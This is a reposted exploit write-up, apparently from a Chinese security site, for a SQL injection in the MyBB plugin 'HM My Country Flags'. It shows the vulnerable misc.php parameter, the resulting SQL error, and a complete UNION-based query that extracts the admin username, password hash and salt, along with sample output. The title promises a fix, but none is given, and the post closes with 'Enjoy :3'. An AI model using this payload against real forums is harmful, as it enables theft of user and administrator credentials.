当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

MyBB HM My Country Flags SQL注射及修复

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:

HM My Country Flags SQL Injection

作者: JoinSe7en  join7 [+at+] riseup.net

测试系统: Linux

程序地址: 搜狗电脑知识网

 

HM My Country Flags has a SQL Injection vulnerability.

If we go to a thread we'll see a country next to the users post.

 

We'll start HTTP Live Headers and press this link to get the URL (Otherwise it's in popup box and we will not see the URL)

 

Here we'll work some magic with the '

 

/forum/misc.php?action=hmflags&cnam=Belgium'&pf=5

 

Returns:

 

'MyBB has experienced an internal SQL error and cannot continue.

 

SQL Error:

    1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Belgium''' at line 1'

 

From here we can just perform basic UNION Based SQL Injection.

The column count is often very big, usually around 150-180 depending on the countries available.

 

This could be a query:

 

?action=hmflags&cnam=-Belgium'+UNION SELECT 1,group_concat(username,0x3a,password,0x3a,salt,0x3b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164+FROM+mybb_users WHERE uid=1--+&pf=5

 

Output:

 

admin:018bda9eb505747441b9485b42cadab:apa2G1ge;

 

Enjoy :3

 

相关文章
  • 没有相关文章
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1